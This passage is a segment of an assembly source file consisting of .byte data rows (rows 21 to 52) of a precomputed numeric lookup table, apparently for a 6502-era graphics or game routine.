$14, $e1, $15, $30, $15, $8a, $15, $ee, $16, $5c, $16, $d2, $17, $53, $17, $da, $18, $69, $19, $0, $19, $9c .byte $1a, $3f, $1a, $e7, $1b, $95, $1c, $48 .byte $1f, $2, $1e, $10, $1d, $29, $1c, $4e, $1b, $7d, $1a, $b6, $19, $f9, $19, $45, $18, $99, $17, $f4, $17, $58, $16, $c2 .byte $16, $33, $15, $a9, $15, $27, $14, $a9, $14, $31, $13, $bd, $13, $4e, $12, $e3, $12, $7d, $12, $1b, $11, $bc, $11, $62, $11, $a, $10, $b5, $10, $64, $10, $16 .byte $f, $c9, $f, $80, $f, $3a, $e, $f5, $e, $b3, $e, $73, $e, $36, $d, $f9, $d, $bf, $d, $87, $d, $51, $d, $1c, $c, $e8, $c, $b6, $c, $86, $c, $57 ; row 21 .byte $15, $6, $15, $18, $15, $36, $15, $60, $15, $96, $15, $d6, $16, $23, $16, $78, $16, $d8, $17, $42, $17, $b4, $18, $30, $18, $b2, $19, $3d, $19, $ce, $1a, $66 .byte $1b, $5, $1b, $a8, $1c, $51, $1d, $0, $1d, $b2 .byte $1f, $d, $1e, $26, $1d, $49, $1c, $77, $1b, $ae, $1a, $ee, $1a, $38, $19, $89, $18, $e1, $18, $42, $17, $a9 .byte $17, $17, $16, $8b, $16, $5, $15, $84, $15, $8, $14, $91, $14, $20, $13, $b2, $13, $49, $12, $e3, $12, $82, $12, $25, $11, $c9, $11, $73, $11, $1f, $10, $cd .byte $10, $7f, $10, $33, $f, $e9, $f, $a3, $f, $5e, $f, $1c, $e, $db, $e, $9d, $e, $61, $e, $27, $d, $ee, $d, $b7, $d, $82, $d, $4e, $d, $1c, $c, $ea ; row 22 .byte $16, $6, $16, $17, $16, $34, $16, $5c, $16, $8f, $16, $cd, $17, $16, $17, $68, $17, $c4, $18, $2a, $18, $98, $19, $f, $19, $8d, $1a, $14, $1a, $a0, $1b, $34 .byte $1b, $cd, $1c, $6c, $1d, $12, $1d, $bb, $1e, $6a, $1f, $1d .byte $1f, $18, $1e, $3b, $1d, $67, $1c, $9c, $1b, $da, $1b, $22, $1a, $71, $19, $c7, $19, $25, $18, $8a .byte $17, $f4, $17, $66, $16, $dc, $16, $59, $15, $da, $15, $61, $14, $ec, $14, $7c, $14, $11, $13, $a8, $13, $44, $12, $e3, $12, $86, $12, $2d, $11, $d5, $11, $82 .byte $11, $31, $10, $e3, $10, $97, $10, $4e, $10, $8, $f, $c2, $f, $80, $f, $40, $f, $2, $e, $c5, $e, $8a, $e, $51, $e, $1a, $d, $e4, $d, $b0, $d, $7d ; row 23 .byte $17, $6, $17, $16, $17, $32, $17, $58, $17, $89, $17, $c4, $18, $b, $18, $5a, $18, $b2, $19, $14, $19, $7e, $19, $f0, $1a, $6b, $1a, $ec, $1b, $75, $1c, $5 .byte $1c, $99, $1d, $35, $1d, $d4, $1e, $7a, $1f, $25, $1f, $d3, $20, $86 .byte $1f, $22, $1e, $4d, $1d, $82, $1c, $bf, $1c, $5, $1b, $51, $1a, $a6, $1a, $2, $19, $64 .byte $18, $cc, $18, $3b, $17, $af, $17, $2a, $16, $a8, $16, $2d, $15, $b5, $15, $43, $14, $d4, $14, $69, $14, $3, $13, $9f, $13, $40, $12, $e3, $12, $8a, $12, $35 .byte $11, $e1, $11, $90, $11, $43, $10, $f7, $10, $ae, $10, $67, $10, $23, $f, $e0, $f, $a0, $f, $61, $f, $25, $e, $e9, $e, $b0, $e, $79, $e, $43, $e, $e ; row 24 .byte $18, $5, $18, $15, $18, $30, $18, $54, $18, $83, $18, $bc, $19, $0, $19, $4c, $19, $a1, $1a, $0, $1a, $66, $1a, $d4, $1b, $4b, $1b, $c8, $1c, $4d, $1c, $d7 .byte $1d, $69, $1e, $0, $1e, $9c, $1f, $3d, $1f, $e3, $20, $8e, $21, $3e, $21, $f0 .byte $1f, $2b, $1e, $5f, $1d, $9b, $1c, $de, $1c, $2b, $1b, $7d, $1a, $d7, $1a, $38 .byte $19, $9e, $19, $b, $18, $7d, $17, $f4, $17, $71, $16, $f3, $16, $79, $16, $5, $15, $93, $15, $27, $14, $bd, $14, $58, $13, $f5, $13, $97, $13, $3c, $12, $e3 .byte $12, $8e, $12, $3c, $11, $eb, $11, $9e, $11, $53, $11, $a, $10, $c3, $10, $7f, $10, $3d, $f, $fb, $f, $bd, $f, $80, $f, $45, $f, $c, $e, $d4, $e, $9d ; row 25 .byte $19, $5, $19, $14, $19, $2e, $19, $51, $19, $7e, $19, $b5, $19, $f5, $1a, $3f, $1a, $92, $1a, $ec, $1b, $50, $1b, $ba, $1c, $2d, $1c, $a7, $1d, $27, $1d, $ae .byte $1e, $3b, $1e, $cd, $1f, $66, $20, $4, $20, $a6, $21, $4d, $21, $f7, $22, $a7, $23, $5b .byte $1f, $33, $1e, $6f, $1d, $b2, $1c, $fc, $1c, $4e, $1b, $a6, $1b, $5 .byte $1a, $6a, $19, $d4, $19, $45, $18, $ba, $18, $36, $17, $b5, $17, $3a, $16, $c2, $16, $4f, $15, $df, $15, $74, $15, $d, $14, $a9, $14, $48, $13, $ea, $13, $90 .byte $13, $39, $12, $e3, $12, $91, $12, $42, $11, $f4, $11, $aa, $11, $62, $11, $1b, $10, $d6, $10, $94, $10, $54, $10, $16, $f, $d8, $f, $9d, $f, $64, $f, $2c ; row 26 .byte $1a, $5, $1a, $14, $1a, $2c, $1a, $4e, $1a, $79, $1a, $ae, $1a, $ec, $1b, $34, $1b, $83, $1b, $da, $1c, $3b, $1c, $a2, $1d, $12, $1d, $87, $1e, $4, $1e, $87 .byte $1f, $10, $1f, $9f, $20, $34, $20, $cd, $21, $6b, $22, $f, $22, $b6, $23, $62, $24, $12, $24, $c4 .byte $1f, $3b, $1e, $7d, $1d, $c7, $1d, $18, $1c, $6f, $1b, $cc .byte $1b, $30, $1a, $99, $1a, $8, $19, $7c, $18, $f4, $18, $72, $17, $f4, $17, $7b, $17, $7, $16, $95, $16, $28, $15, $be, $15, $58, $14, $f5, $14, $96, $14, $3a .byte $13, $df, $13, $89, $13, $35, $12, $e3, $12, $94, $12, $48, $11, $fd, $11, $b5, $11, $6f, $11, $2b, $10, $e8, $10, $a8, $10, $6a, $10, $2e, $f, $f2, $f, $b8 ; row 27 .byte $1b, $5, $1b, $13, $1b, $2a, $1b, $4b, $1b, $75, $1b, $a8, $1b, $e4, $1c, $29, $1c, $75, $1c, $ca, $1d, $27, $1d, $8b, $1d, $f6, $1e, $6a, $1e, $e2, $1f, $62 .byte $1f, $e7, $20, $73, $21, $4, $21, $99, $22, $34, $22, $d3, $23, $77, $24, $20, $24, $cb, $25, $7b, $26, $2f .byte $1f, $42, $1e, $8b, $1d, $db, $1d, $32, $1c, $8e .byte $1b, $ef, $1b, $58, $1a, $c5, $1a, $38, $19, $af, $19, $2b, $18, $ab, $18, $31, $17, $b9, $17, $47, $16, $d7, $16, $6c, $16, $5, $15, $a0, $15, $3f, $14, $e0 .byte $14, $84, $14, $2c, $13, $d6, $13, $83, $13, $32, $12, $e3, $12, $97, $12, $4e, $12, $6, $11, $c0, $11, $7c, $11, $3a, $10, $f9, $10, $bb, $10, $7f, $10, $44 ; row 28 .byte $1c, $5, $1c, $12, $1c, $29, $1c, $48, $1c, $71, $1c, $a2, $1c, $dc, $1d, $1f, $1d, $69, $1d, $bb, $1e, $15, $1e, $76, $1e, $de, $1f, $4e, $1f, $c3, $20, $40 .byte $20, $c1, $21, $49, $21, $d6, $22, $68, $23, $0, $23, $9b, $24, $3c, $24, $e0, $25, $89, $26, $36, $26, $e5, $27, $98 .byte $1f, $49, $1e, $98, $1d, $ed, $1d, $49 .byte $1c, $aa, $1c, $12, $1b, $7d, $1a, $ee, $1a, $65, $19, $df, $19, $5e, $18, $e1, $18, $69, $17, $f4, $17, $84, $17, $17, $16, $ad, $16, $47, $15, $e3, $15, $84 .byte $15, $27, $14, $cc, $14, $75, $14, $20, $13, $cd, $13, $7d, $13, $2f, $12, $e3, $12, $9a, $12, $53, $12, $e, $11, $c9, $11, $88, $11, $48, $11, $a, $10, $cd ; row 29 .byte $1d, $4, $1d, $12, $1d, $27, $1d, $46, $1d, $6d, $1d, $9d, $1d, $d4, $1e, $15, $1e, $5d, $1e, $ac, $1f, $4, $1f, $62, $1f, $c7, $20, $34, $20, $a6, $21, $1f .byte $21, $9d, $22, $22, $22, $ab, $23, $3a, $23, $cd, $24, $66, $25, $3, $25, $a4, $26, $4a, $26, $f2, $27, $9f, $28, $4f, $29, $3 .byte $1f, $4f, $1e, $a4, $1d, $fe .byte $1d, $60, $1c, $c5, $1c, $31, $1b, $a0, $1b, $16, $1a, $8f, $1a, $d, $19, $8f, $19, $15, $18, $9f, $18, $2d, $17, $bd, $17, $53, $16, $ea, $16, $86, $16, $25 .byte $15, $c5, $15, $6a, $15, $11, $14, $ba, $14, $66, $14, $14, $13, $c4, $13, $77, $13, $2d, $12, $e3, $12, $9c, $12, $58, $12, $15, $11, $d3, $11, $93, $11, $55 ; row 30 .byte $1e, $4, $1e, $11, $1e, $26, $1e, $44, $1e, $6a, $1e, $97, $1e, $cd, $1f, $c, $1f, $52, $1f, $9f, $1f, $f3, $20, $4f, $20, $b1, $21, $1b, $21, $8a, $22, $0 .byte $22, $7b, $22, $fb, $23, $82, $24, $e, $24, $9e, $25, $34, $25, $cd, $26, $6b, $27, $d, $27, $b2, $28, $5c, $29, $9, $29, $b9, $2a, $6d .byte $1f, $55, $1e, $af .byte $1e, $10, $1d, $74, $1c, $de, $1c, $4e, $1b, $c1, $1b, $3a, $1a, $b6, $1a, $38, $19, $bc, $19, $45, $18, $d1, $18, $61, $17, $f4, $17, $8b, $17, $25, $16, $c2 .byte $16, $62, $16, $5, $15, $a9, $15, $52, $14, $fb, $14, $a9, $14, $58, $14, $a, $13, $bd, $13, $72, $13, $2a, $12, $e3, $12, $9f, $12, $5c, $12, $1b, $11, $db ; row 31 .byte $1f, $4, $1f, $10, $1f, $25, $1f, $42, $1f, $66, $1f, $93, $1f, $c7, $20, $4, $20, $47, $20, $92, $20, $e4, $21, $3e, $21, $9d, $22, $4, $22, $70, $22, $e2 .byte $23, $5b, $23, $d8, $24, $5c, $24, $e3, $25, $71, $26, $3, $26, $99, $27, $34, $27, $d2, $28, $75, $29, $1c, $29, $c5, $2a, $73, $2b, $24, $2b, $d6 .byte $1f, $5a .byte $1e, $b9, $1e, $1f, $1d, $88, $1c, $f6, $1c, $6a, $1b, $e1, $1b, $5d, $1a, $dc, $1a, $60, $19, $e7, $19, $73, $19, $2, $18, $93, $18, $29, $17, $c1, $17, $5d .byte $16, $fb, $16, $9c, $16, $40, $15, $e6, $15, $90, $15, $3b, $14, $e9, $14, $99, $14, $4b, $13, $ff, $13, $b5, $13, $6e, $13, $28, $12, $e3, $12, $a1, $12, $60 ; row 32 .byte $20, $4, $20, $10, $20, $24, $20, $40, $20, $63, $20, $8e, $20, $c1, $20, $fb, $21, $3e, $21, $86, $21, $d6, $22, $2d, $22, $8a, $22, $ed, $23, $57, $23, $c6 .byte $24, $3c, $24, $b6, $25, $37, $25, $bc, $26, $46, $26, $d4, $27, $68, $28, $0, $28, $9b, $29, $3b, $29, $de, $2a, $85, $2b, $2f, $2b, $dc, $2c, $8d, $2d, $41 .byte $1f, $5f, $1e, $c3, $1e, $2d, $1d, $9b, $1d, $d, $1c, $84, $1b, $fe, $1b, $7d, $1b, $1, $1a, $86, $1a, $11, $19, $9e, $19, $2f, $18, $c3, $18, $5a, $17, $f4 .byte $17, $92, $17, $32, $16, $d4, $16, $79, $16, $22, $15, $cb, $15, $78, $15, $27, $14, $d7, $14, $8a, $14, $3f, $13, $f5, $13, $ae, $13, $69, $13, $26, $12, $e3 ; row 33 .byte $21, $4, $21, $f, $21, $23, $21, $3e, $21, $60, $21, $8a, $21, $bb, $21, $f4, $22, $34, $22, $7b, $22, $c8, $23, $1d, $23, $77, $23, $d8, $24, $40, $24, $ac .byte $25, $1f, $25, $96, $26, $14, $26, $96, $27, $1d, $27, $a9, $28, $39, $28, $cd, $29, $66, $2a, $3, $2a, $a3, $2b, $47, $2b, $ee, $2c, $99, $2d, $47, $2d, $f7 .byte $2e, $ab .byte $1f, $64, $1e, $cd, $1e, $3b, $1d, $ac, $1d, $23, $1c, $9c, $1c, $1b, $1b, $9c, $1b, $22, $1a, $ab, $1a, $38, $19, $c7, $19, $5a, $18, $f0, $18, $8a .byte $18, $26, $17, $c4, $17, $66, $17, $a, $16, $b0, $16, $59, $16, $5, $15, $b2, $15, $61, $15, $13, $14, $c6, $14, $7c, $14, $34, $13, $ed, $13, $a8, $13, $65 ; row 34 .byte $22, $4, $22, $f, $22, $22, $22, $3c, $22, $5d, $22, $86, $22, $b6, $22, $ed, $23, $2c, $23, $70, $23, $bb, $24, $e, $24, $66, $24, $c4, $25, $29, $25, $93 .byte $26, $3, $26, $78, $26, $f2, $27, $72, $27, $f5, $28, $7f, $29, $c, $29, $9d, $2a, $33, $2a, $cc, $2b, $6a, $2c, $c, $2c, $af, $2d, $57, $2e, $3, $2e, $b0 .byte $2f, $61, $30, $15 .byte $1f, $68, $1e, $d5, $1e, $47, $1d, $bc, $1d, $36, $1c, $b3, $1c, $35, $1b, $b9, $1b, $42, $1a, $cd, $1a, $5d, $19, $ee, $19, $84, $19, $1c .byte $18, $b6, $18, $54, $17, $f4, $17, $97, $17, $3d, $16, $e4, $16, $8f, $16, $3b, $15, $e9, $15, $9a, $15, $4d, $15, $1, $14, $b7, $14, $6f, $14, $2a, $13, $e5 ; row 35 .byte $23, $4, $23, $f, $23, $21, $23, $3a, $23, $5b, $23, $82, $23, $b1, $23, $e6, $24, $23, $24, $66, $24, $af, $25, $0, $25, $56, $25, $b2, $26, $14, $26, $7b .byte $26, $e8, $27, $5b, $27, $d2, $28, $4f, $28, $d0, $29, $57, $29, $e1, $2a, $70, $2b, $3, $2b, $99, $2c, $34, $2c, $d2, $2d, $74, $2e, $19, $2e, $c0, $2f, $6c .byte $30, $1b, $30, $cb, $31, $7f .byte $1f, $6d, $1e, $dd, $1e, $53, $1d, $cc, $1d, $49, $1c, $c9, $1c, $4e, $1b, $d5, $1b, $60, $1a, $ee, $1a, $80, $1a, $14, $19, $ab .byte $19, $45, $18, $e1, $18, $81, $18, $23, $17, $c7, $17, $6e, $17, $17, $16, $c2, $16, $6f, $16, $1f, $15, $d0, $15, $84, $15, $39, $14, $ef, $14, $a9, $14, $63 ; row 36 .byte $24, $4, $24, $e, $24, $20, $24, $38, $24, $58, $24, $7f, $24, $ac, $24, $e0, $25, $1c, $25, $5d, $25, $a4, $25, $f2, $26, $46, $26, $a0, $27, $0, $27, $65 .byte $27, $cf, $28, $40, $28, $b4, $29, $2f, $29, $ad, $2a, $30, $2a, $b8, $2b, $44, $2b, $d3, $2c, $68, $2d, $0, $2d, $9b, $2e, $3a, $2e, $dc, $2f, $82, $30, $2a .byte $30, $d5, $31, $84, $32, $35, $32, $e8 .byte $1f, $71, $1e, $e5, $1e, $5f, $1d, $db, $1d, $5b, $1c, $de, $1c, $66, $1b, $ef, $1b, $7d, $1b, $e, $1a, $a1, $1a, $38 .byte $19, $d0, $19, $6c, $19, $b, $18, $ab, $18, $4f, $17, $f4, $17, $9c, $17, $47, $16, $f3, $16, $a1, $16, $52, $16, $5, $15, $b8, $15, $6f, $15, $27, $14, $e0 ; row 37 .byte $25, $3, $25, $e, $25, $1f, $25, $37, $25, $56, $25, $7b, $25, $a7, $25, $da, $26, $14, $26, $54, $26, $99, $26, $e5, $27, $37, $27, $8f, $27, $ec, $28, $4f .byte $28, $b7, $29, $25, $29, $97, $2a, $f, $2a, $8b, $2b, $c, $2b, $90, $2c, $1a, $2c, $a7, $2d, $39, $2d, $cd, $2e, $66, $2f, $3, $2f, $a2, $30, $45, $30, $ea .byte $31, $93, $32, $40, $32, $ed, $33, $9f, $34, $53 .byte $1f, $74, $1e, $ed, $1e, $69, $1d, $e9, $1d, $6c, $1c, $f2, $1c, $7c, $1c, $a, $1b, $99, $1b, $2c, $1a, $c1 .byte $1a, $5a, $19, $f4, $19, $92, $19, $32, $18, $d4, $18, $79, $18, $21, $17, $c9, $17, $75, $17, $23, $16, $d1, $16, $83, $16, $37, $15, $eb, $15, $a2, $15, $5b ; row 38 .byte $26, $3, $26, $d, $26, $1e, $26, $36, $26, $54, $26, $78, $26, $a3, $26, $d4, $27, $d, $27, $4b, $27, $8f, $27, $d9, $28, $29, $28, $7f, $28, $da, $29, $3b .byte $29, $a0, $2a, $c, $2a, $7c, $2a, $f0, $2b, $6a, $2b, $e8, $2c, $6b, $2c, $f1, $2d, $7c, $2e, $b, $2e, $9d, $2f, $33, $2f, $cc, $30, $6a, $31, $a, $31, $ad .byte $32, $54, $32, $fc, $33, $a9, $34, $58, $35, $a, $35, $bd .byte $1f, $78, $1e, $f4, $1e, $74, $1d, $f6, $1d, $7c, $1d, $6, $1c, $92, $1c, $21, $1b, $b3, $1b, $48 .byte $1a, $df, $1a, $7a, $1a, $17, $19, $b6, $19, $58, $18, $fb, $18, $a2, $18, $4a, $17, $f4, $17, $a1, $17, $50, $17, $1, $16, $b2, $16, $67, $16, $1d, $15, $d4 ; row 39 .byte $27, $3, $27, $d, $27, $1d, $27, $34, $27, $51, $27, $75, $27, $9f, $27, $cf, $28, $6, $28, $43, $28, $85, $28, $cd, $29, $1c, $29, $6f, $29, $c8, $2a, $27 .byte $2a, $8b, $2a, $f3, $2b, $61, $2b, $d3, $2c, $4b, $2c, $c6, $2d, $47, $2d, $ca, $2e, $53, $2e, $de, $2f, $6f, $30, $3, $30, $99, $31, $34, $31, $d1, $32, $72 .byte $33, $16, $33, $bd, $34, $67, $35, $13, $35, $c1, $36, $73, $37, $27 .byte $1f, $7b, $1e, $fa, $1e, $7d, $1e, $4, $1d, $8c, $1d, $18, $1c, $a6, $1c, $38, $1b, $cc .byte $1b, $63, $1a, $fc, $1a, $99, $1a, $38, $19, $d8, $19, $7c, $19, $21, $18, $c8, $18, $72, $18, $1e, $17, $cb, $17, $7b, $17, $2d, $16, $e0, $16, $95, $16, $4c ; row 40 .byte $28, $3, $28, $d, $28, $1d, $28, $33, $28, $4f, $28, $72, $28, $9b, $28, $ca, $29, $0, $29, $3b, $29, $7c, $29, $c2, $2a, $f, $2a, $61, $2a, $b8, $2b, $15 .byte $2b, $76, $2b, $dc, $2c, $48, $2c, $b8, $2d, $2d, $2d, $a6, $2e, $24, $2e, $a5, $2f, $2b, $2f, $b4, $30, $42, $30, $d3, $31, $68, $32, $0, $32, $9b, $33, $39 .byte $33, $da, $34, $7f, $35, $26, $35, $d0, $36, $7d, $37, $2c, $37, $dd, $38, $91 .byte $1f, $7f, $1f, $2, $1e, $87, $1e, $10, $1d, $9b, $1d, $29, $1c, $ba, $1c, $4e .byte $1b, $e4, $1b, $7d, $1b, $19, $1a, $b6, $1a, $57, $19, $f9, $19, $9e, $19, $45, $18, $ed, $18, $99, $18, $46, $17, $f4, $17, $a5, $17, $58, $17, $c, $16, $c2 ; row 41 .byte $29, $3, $29, $c, $29, $1c, $29, $32, $29, $4d, $29, $6f, $29, $97, $29, $c5, $29, $f9, $2a, $33, $2a, $73, $2a, $b8, $2b, $3, $2b, $53, $2b, $a8, $2c, $3 .byte $2c, $62, $2c, $c6, $2d, $30, $2d, $9e, $2e, $11, $2e, $87, $2f, $3, $2f, $82, $30, $5, $30, $8c, $31, $17, $31, $a5, $32, $38, $32, $cd, $33, $66, $34, $2 .byte $34, $a1, $35, $43, $35, $e7, $36, $8f, $37, $3a, $37, $e6, $38, $95, $39, $47, $39, $fb .byte $1f, $82, $1f, $8, $1e, $8f, $1e, $1b, $1d, $a9, $1d, $3a, $1c, $cd .byte $1c, $63, $1b, $fb, $1b, $96, $1b, $34, $1a, $d3, $1a, $75, $1a, $19, $19, $bf, $19, $68, $19, $12, $18, $be, $18, $6c, $18, $1c, $17, $cd, $17, $81, $17, $37 ; row 42 .byte $2a, $3, $2a, $c, $2a, $1b, $2a, $30, $2a, $4c, $2a, $6d, $2a, $94, $2a, $c1, $2a, $f3, $2b, $2c, $2b, $6a, $2b, $ae, $2b, $f6, $2c, $45, $2c, $99, $2c, $f1 .byte $2d, $4f, $2d, $b1, $2e, $19, $2e, $84, $2e, $f4, $2f, $69, $2f, $e2, $30, $5f, $30, $e0, $31, $65, $31, $ed, $32, $7a, $33, $a, $33, $9d, $34, $33, $34, $cc .byte $35, $69, $36, $9, $36, $ab, $37, $51, $37, $f8, $38, $a3, $39, $50, $3a, $0, $3a, $b1, $3b, $65 .byte $1f, $85, $1f, $d, $1e, $98, $1e, $26, $1d, $b6, $1d, $49 .byte $1c, $de, $1c, $77, $1c, $12, $1b, $ae, $1b, $4d, $1a, $ee, $1a, $92, $1a, $38, $19, $df, $19, $89, $19, $34, $18, $e1, $18, $91, $18, $42, $17, $f4, $17, $a9 ; row 43 .byte $2b, $3, $2b, $c, $2b, $1b, $2b, $2f, $2b, $4a, $2b, $6a, $2b, $90, $2b, $bc, $2b, $ee, $2c, $26, $2c, $62, $2c, $a4, $2c, $eb, $2d, $39, $2d, $8a, $2d, $e0 .byte $2e, $3d, $2e, $9d, $2f, $3, $2f, $6c, $2f, $da, $30, $4d, $30, $c3, $31, $3e, $31, $bd, $32, $40, $32, $c5, $33, $50, $33, $dd, $34, $6e, $35, $2, $35, $99 .byte $36, $34, $36, $d1, $37, $71, $38, $14, $38, $b9, $39, $62, $3a, $d, $3a, $ba, $3b, $6a, $3c, $1c, $3c, $cf .byte $1f, $88, $1f, $13, $1e, $a0, $1e, $31, $1d, $c3 .byte $1d, $58, $1c, $ef, $1c, $8a, $1c, $27, $1b, $c5, $1b, $66, $1b, $9, $1a, $ad, $1a, $55, $19, $fd, $19, $a8, $19, $56, $19, $4, $18, $b4, $18, $66, $18, $1b ; row 44 .byte $2c, $3, $2c, $c, $2c, $1a, $2c, $2e, $2c, $48, $2c, $68, $2c, $8d, $2c, $b8, $2c, $e8, $2d, $1f, $2d, $5a, $2d, $9b, $2d, $e0, $2e, $2c, $2e, $7c, $2e, $d1 .byte $2f, $2b, $2f, $8a, $2f, $ec, $30, $55, $30, $c0, $31, $31, $31, $a5, $32, $1f, $32, $9b, $33, $1b, $33, $9f, $34, $27, $34, $b2, $35, $41, $35, $d2, $36, $67 .byte $37, $0, $37, $9a, $38, $39, $38, $d9, $39, $7d, $3a, $23, $3a, $cb, $3b, $76, $3c, $24, $3c, $d3, $3d, $85, $3e, $39 .byte $1f, $8a, $1f, $18, $1e, $a8, $1e, $3b .byte $1d, $cf, $1d, $67, $1d, $1, $1c, $9c, $1c, $3b, $1b, $da, $1b, $7d, $1b, $22, $1a, $c8, $1a, $71, $1a, $1c, $19, $c7, $19, $75, $19, $25, $18, $d6, $18, $8a ; row 45 .byte $2d, $3, $2d, $b, $2d, $19, $2d, $2d, $2d, $47, $2d, $66, $2d, $8a, $2d, $b4, $2d, $e3, $2e, $19, $2e, $53, $2e, $92, $2e, $d6, $2f, $21, $2f, $6f, $2f, $c2 .byte $30, $1b, $30, $77, $30, $d8, $31, $3e, $31, $a8, $32, $17, $32, $89, $33, $0, $33, $7a, $33, $f8, $34, $7a, $35, $0, $35, $88, $36, $15, $36, $a4, $37, $38 .byte $37, $cd, $38, $66, $39, $2, $39, $a0, $3a, $42, $3a, $e5, $3b, $8c, $3c, $35, $3c, $e0, $3d, $8d, $3e, $3e, $3e, $ef, $3f, $a3 .byte $1f, $8d, $1f, $1d, $1e, $af .byte $1e, $44, $1d, $db, $1d, $74, $1d, $11, $1c, $ae, $1c, $4e, $1b, $ef, $1b, $94, $1b, $3a, $1a, $e2, $1a, $8c, $1a, $38, $19, $e5, $19, $94, $19, $45, $18, $f7 ; row 46 .byte $2e, $3, $2e, $b, $2e, $19, $2e, $2c, $2e, $45, $2e, $63, $2e, $87, $2e, $b0, $2e, $de, $2f, $13, $2f, $4c, $2f, $8a, $2f, $cc, $30, $15, $30, $62, $30, $b3 .byte $31, $a, $31, $65, $31, $c4, $32, $29, $32, $91, $32, $fc, $33, $6e, $33, $e2, $34, $5a, $34, $d6, $35, $56, $35, $d9, $36, $60, $36, $ea, $37, $78, $38, $9 .byte $38, $9c, $39, $33, $39, $cc, $3a, $69, $3b, $9, $3b, $aa, $3c, $4e, $3c, $f5, $3d, $9e, $3e, $4a, $3e, $f7, $3f, $a7, $40, $59, $41, $e .byte $1f, $8f, $1f, $22 .byte $1e, $b6, $1e, $4d, $1d, $e6, $1d, $82, $1d, $20, $1c, $bf, $1c, $61, $1c, $5, $1b, $aa, $1b, $51, $1a, $fa, $1a, $a6, $1a, $53, $1a, $2, $19, $b2, $19, $64 ; row 47 .byte $2f, $3, $2f, $b, $2f, $18, $2f, $2b, $2f, $44, $2f, $61, $2f, $84, $2f, $ac, $2f, $da, $30, $d, $30, $45, $30, $81, $30, $c3, $31, $a, $31, $56, $31, $a5 .byte $31, $fa, $32, $54, $32, $b1, $33, $14, $33, $7a, $33, $e4, $34, $53, $34, $c5, $35, $3c, $35, $b6, $36, $34, $36, $b5, $37, $3a, $37, $c1, $38, $4d, $38, $db .byte $39, $6d, $3a, $2, $3a, $99, $3b, $34, $3b, $d0, $3c, $70, $3d, $13, $3d, $b7, $3e, $5e, $3f, $8, $3f, $b3, $40, $61, $41, $12, $41, $c3, $42, $77 .byte $1f, $92 .byte $1f, $27, $1e, $bd, $1e, $56, $1d, $f1, $1d, $8e, $1d, $2e, $1c, $cf, $1c, $72, $1c, $18, $1b, $bf, $1b, $68, $1b, $13, $1a, $bf, $1a, $6d, $1a, $1d, $19, $ce ; row 48 .byte $30, $3, $30, $b, $30, $18, $30, $2a, $30, $42, $30, $5f, $30, $81, $30, $a9, $30, $d5, $31, $8, $31, $3e, $31, $7a, $31, $ba, $32, $0, $32, $4a, $32, $98 .byte $32, $eb, $33, $43, $33, $9f, $34, $0, $34, $64, $34, $cc, $35, $3a, $35, $aa, $36, $1f, $36, $96, $37, $13, $37, $91, $38, $14, $38, $9a, $39, $24, $39, $b0 .byte $3a, $40, $3a, $d2, $3b, $67, $3c, $0, $3c, $9a, $3d, $38, $3d, $d8, $3e, $7b, $3f, $20, $3f, $c7, $40, $71, $41, $1d, $41, $cb, $42, $7b, $43, $2e, $43, $e1 .byte $1f, $94, $1f, $2b, $1e, $c3, $1e, $5f, $1d, $fb, $1d, $9b, $1d, $3c, $1c, $de, $1c, $84, $1c, $2b, $1b, $d3, $1b, $7d, $1b, $2a, $1a, $d7, $1a, $86, $1a, $38 ; row 49 .byte $31, $3, $31, $a, $31, $17, $31, $2a, $31, $41, $31, $5d, $31, $7f, $31, $a5, $31, $d1, $32, $3, $32, $38, $32, $72, $32, $b1, $32, $f5, $33, $3e, $33, $8b .byte $33, $dd, $34, $33, $34, $8d, $34, $ec, $35, $4f, $35, $b6, $36, $21, $36, $8f, $37, $2, $37, $78, $37, $f1, $38, $6f, $38, $ef, $39, $74, $39, $fb, $3a, $85 .byte $3b, $13, $3b, $a3, $3c, $37, $3c, $cd, $3d, $66, $3e, $2, $3e, $a0, $3f, $41, $3f, $e3, $40, $89, $41, $31, $41, $da, $42, $87, $43, $35, $43, $e5, $44, $97 .byte $45, $4c .byte $1f, $96, $1f, $2f, $1e, $c9, $1e, $67, $1e, $6, $1d, $a6, $1d, $49, $1c, $ed, $1c, $94, $1c, $3d, $1b, $e6, $1b, $92, $1b, $40, $1a, $ee, $1a, $9f ; row 50 .byte $32, $3, $32, $a, $32, $17, $32, $29, $32, $40, $32, $5b, $32, $7c, $32, $a2, $32, $cd, $32, $fc, $33, $32, $33, $6b, $33, $a9, $33, $eb, $34, $33, $34, $7f .byte $34, $cf, $35, $24, $35, $7d, $35, $d9, $36, $3b, $36, $a0, $37, $9, $37, $76, $37, $e6, $38, $5b, $38, $d2, $39, $4e, $39, $cc, $3a, $4f, $3a, $d4, $3b, $5d .byte $3b, $e8, $3c, $77, $3d, $8, $3d, $9c, $3e, $33, $3e, $cc, $3f, $69, $40, $8, $40, $a8, $41, $4c, $41, $f1, $42, $9a, $43, $44, $43, $f0, $44, $9f, $45, $4f .byte $46, $2, $46, $b5 .byte $1f, $98, $1f, $33, $1e, $cf, $1e, $6f, $1e, $10, $1d, $b2, $1d, $56, $1c, $fc, $1c, $a4, $1c, $4e, $1b, $f9, $1b, $a6, $1b, $55, $1b, $5 ; row 51 .byte $33, $2, $33, $a, $33, $16, $33, $28, $33, $3e, $33, $5a, $33, $7a, $33, $9f, $33, $c9, $33, $f8, $34, $2c, $34, $64, $34, $a1, $34, $e2, $35, $29, $35, $73 .byte $35, $c1, $36, $15, $36, $6c, $36, $c7, $37, $27, $37, $8a, $37, $f1, $38, $5d, $38, $cb, $39, $3e, $39, $b4, $3a, $2e, $3a, $aa, $3b, $2b, $3b, $ae, $3c, $35 .byte $3c, $be, $3d, $4b, $3d, $da, $3e, $6d, $3f, $2, $3f, $99, $40, $34, $40, $d0, $41, $6f, $42, $11, $42, $b5, $43, $5b, $44, $4, $44, $ae, $45, $5a, $46, $9 .byte $46, $b9, $47, $6b, $48, $20 .byte $1f, $9a, $1f, $37, $1e, $d5, $1e, $76, $1e, $19, $1d, $bc, $1d, $63, $1d, $b, $1c, $b3, $1c, $5f, $1c, $c, $1b, $b9, $1b, $69 ; row 52 .byte $34, $2, $34, $a, $34, $16, $34, $27, $34, $3d, $34, $58, $34, $78, $34, $9c, $34, $c5, $34, $f3, $35, $26, $35, $5d, $35, $99, $35, $d9, $36, $1f, $36, $67 .byte $36, $b5, $37, $7, $37, $5c, $37, $b6, $38, $14, $38, $76, $38, $db, $39, $45, $39, $b2, $3a, $23, $3a, $97, $3b, $f, $3b, $8a, $3c, $8, $3c, $8a, $3d, $f .byte $3d, $96, $3e, $21, 